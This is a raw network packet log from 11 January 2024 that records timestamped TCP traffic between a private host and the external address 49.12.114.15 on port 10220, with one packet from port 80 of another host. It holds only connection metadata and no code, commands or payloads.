Jan 11, 2024 13:45:13.125618935 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.125633001 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.125668049 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.125694036 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.125781059 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.125819921 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.125854969 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.125874996 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.125920057 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.125960112 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.126008034 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.126025915 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.126095057 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.126144886 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.126208067 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.126245975 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.126249075 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.126300097 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.133980036 CET	80	49734	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:13.314188004 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314220905 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314291000 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.314294100 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314346075 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.314377069 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314450026 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314481020 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314527035 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.314553022 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.314568996 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314656973 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314702988 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.314744949 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314793110 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.314794064 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314866066 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314907074 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.314927101 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.314979076 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.315021038 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.315043926 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.315092087 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.315115929 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.315195084 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.315226078 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.315253019 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.315264940 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.315325975 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.315368891 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.315376043 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.315445900 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.315458059 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.315537930 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.502810001 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.502855062 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.502896070 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.502919912 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.502944946 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.502969980 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.502981901 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503048897 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503093004 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.503127098 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503192902 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503235102 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.503278971 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503321886 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.503354073 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503424883 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503470898 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.503535032 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503616095 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503654957 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.503668070 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503710985 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.503726006 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503799915 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503835917 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.503870010 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.503978968 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504017115 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504021883 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504055977 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504089117 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504120111 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504183054 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504215956 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504281044 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504323006 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504347086 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504380941 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504395962 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504467964 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504509926 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504587889 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504663944 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504673004 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504700899 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504708052 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504755020 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504787922 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504834890 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504849911 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504889011 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.504904985 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.504937887 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.505001068 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.505034924 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.505045891 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.505084991 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.505116940 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.505156994 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.505162001 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.505188942 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.505224943 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.505259037 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.505260944 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.505291939 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.505350113 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.505384922 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.505441904 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.505583048 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.505625010 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.693299055 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.693353891 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.693388939 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.693392992 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.693422079 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.693447113 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.693526030 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.693566084 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.693614960 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.693639994 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.693681002 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.693728924 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.693753004 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.693806887 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.693856001 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.693945885 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694003105 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.694019079 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694117069 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694134951 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.694159031 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694163084 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.694201946 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.694259882 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694298029 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.694360971 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694406033 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.694446087 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694489002 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.694518089 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694571018 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.694611073 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694684029 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694730043 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.694777012 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694830894 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.694850922 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694922924 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.694976091 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.695022106 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695077896 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.695096016 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695142984 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.695211887 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695275068 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.695276022 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695317030 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.695348024 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695390940 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.695416927 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695461035 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.695684910 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695748091 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.695765972 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695807934 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695853949 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.695874929 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695916891 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.695967913 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.696048021 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696088076 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696091890 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.696162939 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696209908 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.696233988 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696335077 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696381092 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.696420908 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696485996 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.696518898 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696588039 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696634054 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.696675062 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696748018 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696794987 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.696835995 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696933985 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.696980000 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.697066069 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697104931 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697113991 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.697144032 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.697175980 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697277069 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697278023 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.697346926 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697391033 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.697508097 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697633982 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697685957 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.697690964 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697735071 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.697794914 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697848082 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697849989 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.697895050 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.697940111 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697978020 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.697983980 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.698018074 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.698087931 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.698157072 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.698206902 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.698247910 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.698349953 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.698395967 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.698407888 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.698451996 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.698512077 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.698575974 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.698622942 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.698643923 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.698692083 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.698764086 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.698842049 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.698884964 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.698968887 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699019909 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.699032068 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699137926 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699189901 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.699198008 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699285984 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.699306011 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699390888 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.699395895 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699434996 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699448109 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.699480057 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.699537992 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699626923 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.699640989 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699691057 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.699695110 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699795008 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699845076 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.699889898 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.699954033 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.699959993 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.700001001 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.882144928 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882211924 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882225990 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.882252932 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882256031 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.882292986 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882293940 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.882330894 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882332087 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.882369041 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882411957 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.882500887 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882539988 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882594109 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882599115 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.882632017 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882673979 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.882745028 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882782936 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882823944 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.882854939 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.882993937 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.883032084 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.883054018 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.883069992 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.883146048 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.883188963 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.883218050 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.883287907 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.883320093 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.883337021 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.883672953 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.883721113 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.883725882 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.883799076 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.883815050 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.883840084 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.883850098 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.883934975 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.883953094 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.883990049 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884022951 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884063959 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884090900 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884131908 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884160042 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884200096 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884232044 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884274960 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884303093 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884342909 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884372950 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884419918 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884449005 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884540081 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884582043 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884615898 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884675026 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884690046 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884733915 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884792089 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884838104 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.884879112 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.884921074 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.885009050 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.885051012 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.885078907 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.885119915 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.885183096 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.885232925 CET	49735	10220	192.168.2.6	49.12.114.15
